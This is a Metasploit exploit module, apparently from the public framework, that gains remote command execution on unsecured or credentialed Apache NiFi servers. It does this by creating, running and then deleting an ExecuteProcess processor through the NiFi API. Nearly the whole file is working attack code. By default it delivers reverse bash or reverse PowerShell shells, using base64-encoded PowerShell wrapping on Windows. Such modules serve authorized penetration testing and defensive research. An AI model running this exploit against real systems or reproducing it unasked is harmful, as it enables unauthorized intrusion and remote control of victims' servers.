##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Potential Improvements:
# Add option to authenticate using client certificate
# Add a scanner module?

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name' => 'Apache NiFi API Remote Code Execution',
      'Description' => '
        This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must
        be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor
        processor is created then is configured with the payload and started. The processor is then stopped and
        deleted.',
      'License' => MSF_LICENSE,
      'Author' => ['Graeme Robinson'],
      'References' => [
        ['URL', 'https://nifi.apache.org/'],
        ['URL', 'https://github.com/apache/nifi'],
        ['URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \
                'org.apache.nifi.processors.standard.ExecuteProcess/index.html']
      ],
      'DisclosureDate' => 'Oct 3 2020',
      'DefaultOptions' => { 'RPORT' => 8080 },
      'Platform' => %w[unix linux macos win],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' => [
        [
          'Unix (In-Memory)',
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Type' => :unix_memory,
          'Payload' => { 'BadChars' => '"' },
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
        ],
        [
          'Windows (In-Memory)',
          'Platform' => 'win',
          'Arch' => ARCH_CMD,
          'Type' => :win_memory,
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
        ]
      ],
      'Privileged' => false,
      'DefaultTarget' => 0,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
      }
    ))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
        OptString.new('USERNAME', [false, 'Username to authenticate with']),
        OptString.new('PASSWORD', [false, 'Password to authenticate with']),
        OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),
        OptInt.new('DELAY', [true,
                             'The delay (s) before stopping and deleting the processor',
                             5]) # 2 seems enough in my lab, but set to 5 for safety
      ],
      self.class
    )
  end

  def check_response(description, response, expected_response_code, item = '')
    # Check that response was received
    fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response
    # Check that response code was expected
    if response.code != expected_response_code
      fail_with(Failure::UnexpectedReply,
                "Unexpected HTTP response code from API when #{description} " \
                "(received #{response.code}, expected #{expected_response_code})")
    end
    # Check that item can be retrieved
    return if item.empty?

    body = response.get_json_document
    unless body.key?(item)
      fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}")
    end
    body[item]
  end

  def supports_login
    response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
    config = check_response('GETting access configuration', response, 200, 'config')
    config['supportsLogin']
  end

  def fetch_process_group
    opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response('GETting root process group', response, 200, 'id')
  end

  def create_processor(process_group)
    body = { 'component' => { 'type' => 'org.apache.nifi.processors.standard.ExecuteProcess' },
             'revision' => { 'version' => 0 } }
    opts = { 'method' => 'POST',
             'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),
             'ctype' => 'application/json',
             'data' => body.to_json }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
  end

  def configure_processor(command)
    cmd = command.split(' ', 2)
    body = {
      'component' => {
        'config' => {
          'autoTerminatedRelationships' => ['success'],
          'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] },
          'schedulingPeriod' => '3600 sec'
        },
        'id' => @processor,
        'state' => 'RUNNING'
      },
      'revision' => { 'clientId' => 'x', 'version' => 1 }
    }
    opts = {
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, 'processors', @processor),
      'ctype' => 'application/json',
      'data' => body.to_json
    }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response("PUTting processor #{@processor} configuration", response, 200)
  end

  def stop_processor
    # Attempt to stop process
    body = { 'revision' => { 'clientId' => 'x', 'version' => 1 }, 'state' => 'STOPPED' }
    opts = {
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),
      'ctype' => 'application/json',
      'data' => body.to_json
    }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response("PUTting processor #{@processor} stop command", response, 200)

    # Stop may not have worked (but must be done first). Terminate threads now
    opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'threads') }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response("DELETEing processor #{@processor} terminate threads command", response, 200)
  end

  def delete_processor
    opts = {
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, 'processors', @processor),
      'vars_get' => { 'version' => 3 }
    }
    opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
    response = send_request_cgi(opts)
    check_response("DELETEting processor #{@processor}", response, 200)
  end

  def check
    # As far as I can tell from the API documentation, it's not possible to check whether the required permissions are
    # present unless "permission to check permissions" is granted. For this reason it reports:
    # * "Unknown" if a timeout is experienced when checking whether login is required
    # * "Safe" if the response to the login check is not one of the two expected responses because it's probably not
    #      NiFi
    # * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an
    #      expected response
    # * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected
    #      response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion

    @cleanup_required = false

    response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
    if !response
      CheckCode::Unknown
    else
      body = response.get_json_document
      if !body.key?('config')
        CheckCode::Safe
      elsif body['config']['supportsLogin']
        CheckCode::Detected
      else
        CheckCode::Appears
      end
    end
  end

  def validate_config
    return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty?

    fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username')
  end

  def retrieve_token
    response = send_request_cgi(
      {
        'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'access', 'token'),
        'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }
      }
    )
    check_response('POSTing credentials', response, 201)
    response.body
  end

  def cleanup
    return unless @cleanup_required

    # Wait for thread to execute - This seems necesarry, especially on Windows
    # and there is no way I can see of checking whether the thread has executed
    print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
    sleep(datastore['DELAY'])

    # Stop Processor
    stop_processor
    vprint_good("Stopped and terminated processor #{@processor}")

    # Delete processor
    delete_processor
    vprint_good("Deleted processor #{@processor}")
  end

  def exploit
    validate_config

    # Check whether login is required and set/fetch token
    if supports_login
      if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
        fail_with(Failure::BadConfig,
                  'Authentication is required. Bearer-Token or Username and Password must be specified')
      end
      @token = if datastore['BEARER-TOKEN'].to_s.empty?
                 retrieve_token
               else
                 datastore['BEARER-TOKEN']
               end
    else
      @token = false
    end

    # Retrieve root process group
    process_group = fetch_process_group
    vprint_good("Retrieved process group: #{process_group}")

    @cleanup_required = true

    # Create processor in root process group
    @processor = create_processor(process_group)
    vprint_good("Created processor #{@processor} in process group #{process_group}")

    # Generate command
    case target['Type']
    when :unix_memory
      cmd = "bash -c \"#{payload.encoded}\""
    when :win_memory
      # This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See
      # below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and
      # use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This
      # command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and
      # dollar signs (etc.) to be passed to cmd.exe
      #
      # This method was chosen rather than using
      #   BadChars => '"'
      # with
      #   cmd /C "#{payload.encoded}"
      # because commands such as
      #   echo x^"x >%tmp%\x
      # did not work with the BadChars method ("^" is the cmd.exe escape char)
      enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
      cmd = "powershell.exe -e #{enc_cmd}"
    end
    vprint_status("Using command #{cmd}")

    # Configure processor and run command
    configure_processor(cmd)
    vprint_good("Configured processor #{@processor} and ran command")
  end
end